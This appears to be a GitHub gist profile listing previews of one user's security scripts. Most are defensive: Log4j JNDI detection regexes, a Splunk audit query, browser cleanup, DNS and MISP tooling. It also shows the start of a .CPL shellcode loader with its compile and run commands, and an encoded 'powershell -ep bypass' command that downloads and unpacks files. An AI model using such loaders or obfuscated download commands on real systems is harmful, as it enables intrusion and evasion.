Skip to content

Instantly share code, notes, and snippets.

View ag-michael's full-sized avatar
💭
for(;;){}

Michael ag-michael

💭
for(;;){}
View GitHub Profile
@ag-michael
ag-michael / uploadToBloodhoundCE.py
Last active January 3, 2024 17:11
uploadToBloodhoundCE.py
import os,sys
import requests
import hmac
import hashlib
import datetime
import base64,time
import subprocess
BHE_TOKEN_ID = "<replace me>"
BHE_TOKEN_KEY = "<replace me>"
@ag-michael
ag-michael / beacon.c
Created May 22, 2022 19:21
Load shellcode from a .CPL
// To compile:x86_64-w64-mingw32-g++ -shared -fno-stack-protector -o bacon.cpl bacon.c
// To run: rundll32.exe shell32.dll,Control_RunDLL beacon.cpl
// To run: control.exe beacon.cpl
#include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * NtCreateThreadEx_t)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
.*jndi:(ldap|ldaps|rmi|dns).*/
.*j\}.*n\}.*d\}.*i\}.*:\/\/.*/
.*lower:jndi.*:\/\/.*/
.*\$\{::.*:\w{3,6}:\/\/.*
@ag-michael
ag-michael / Browser-Cleanup.ps1
Last active August 31, 2021 17:27
Browser-Cleanup: Remove push notificaiton exemptions and non-exempt extensions
<#
.SYNOPSIS
Reset push-notification exceptions and remove non-exempt extensions.
With just the -User, it lists the changes that will be made.
.PARAMETER User
The User profile name name in C:\Users\
.PARAMETER Clean
Commit changes by removing notification exemptions and extensions directories
.PARAMETER KillBrowsers
Kill running browser processes
@ag-michael
ag-michael / find_dangling_cname.sh
Last active June 29, 2022 19:30
Dangling CNAME DNS records: Find A records that resolve to CNAME where the CNAME is not resolving (NXDOMAIN)
#!/bin/bash
# Find A records that resolve to CNAME where the CNAME is not resolving (NXDOMAIN)
export results=()
find_dangling(){
if ! [ -z $2 ]
then
dig $2 | grep -q NXDOMAIN
if [ $? -eq 0 ]
@ag-michael
ag-michael / Sparrow.spl
Created December 29, 2020 16:14
A Splunk query to replicate CISA's Sparrow script's queries: https://raw.githubusercontent.com/NoMoreFood/Sparrow/develop/Sparrow.ps1
sourcetype IN (<replace this with the sourcetype for your aad/o365 audit log data in Splunk. e.g.:"aad,o365">)
(Operation IN ("Set domain authentication*","Set federation settings on domain*")
OR Operation="Update application*"
OR Operation IN ("Update service principal*","Add service principal credentials*")
OR Operation="Add app role assignment*"
OR Operation IN ("Add OAuth2PermissionGrant*","Consent to application*")
OR (Operation IN ("UserLoggedIn*","UserLoginFailed*") ExtendedProperties{}.Value="16457" )
OR (Operation="MailboxLogin*" AND *Powershell* )
OR a0c73c16-a7e3-4564-9a95-2bdf47383716
@ag-michael
ag-michael / publish_events.py
Created December 21, 2020 20:10
Auto publish MISP events
#! /usr/bin/python3
misp_url = '<misp url>'
misp_key = '<apikey>'
misp_verifycert = True
relative_path = 'events/restSearch'
body = {
"returnFormat": "json",
"timestamp": "90d",
"published": 0
}
@ag-michael
ag-michael / install-sysmon.ps1
Last active October 24, 2020 17:35
Install Sysmon
powershell.exe -ep bypass -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcABzADoALwAvAGQAbwB3AG4AbABvAGEAZAAuAHMAeQBzAGkAbgB0AGUAcgBuAGEAbABzAC4AYwBvAG0ALwBmAGkAbABlAHMALwBTAHkAcwBtAG8AbgAuAHoAaQBwACIALAAiAGMAOgBcAHUAcwBlAHIAcwBcACQAZQBuAHYAOgB1AHMAZQByAG4AYQBtAGUAXABhAHAAcABkAGEAdABhAFwAbABvAGMAYQBsAFwAdABlAG0AcABcAHMAeQBzAG0AbwBuAC4AegBpAHAAIgApADsARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAiAGMAOgBcAHUAcwBlAHIAcwBcACQAZQBuAHYAOgB1AHMAZQByAG4AYQBtAGUAXABhAHAAcABkAGEAdABhAFwAbABvAGMAYQBsAFwAdABlAG0AcABcAHMAeQBzAG0AbwBuAC4AegBpAHAAIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAiAGMAOgBcAHUAcwBlAHIAcwBcACQAZQBuAHYAOgB1AHMAZQByAG4AYQBtAGUAXABhAHAAcABkAGEAdABhAFwAbABvAGMAYQBsAFwAdABlAG0AcABcAHMAeQBzAG0AbwBuACIAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYg
@ag-michael
ag-michael / falcondump.py
Created October 10, 2020 15:19
Dump Crowdstrike Falcon host data into elasticsearch
import requests
import json
import sys
import time
import datetime
from requests.auth import HTTPBasicAuth
import logging
import elasticsearch
import geoip
import traceback
@ag-michael
ag-michael / dump_eml.py
Last active October 4, 2020 20:20
Recursively dump parsed eml file information into a single text file for analysis
#! /usr/bin/python
# Requirement: run python -m pip install eml_parser
# Syntax: python.exe .\dump_eml.py . .\dumpfile.txt
import os,sys,datetime
import eml_parser,json
separator = "\\"
def json_serial(obj):
if isinstance(obj, datetime.datetime):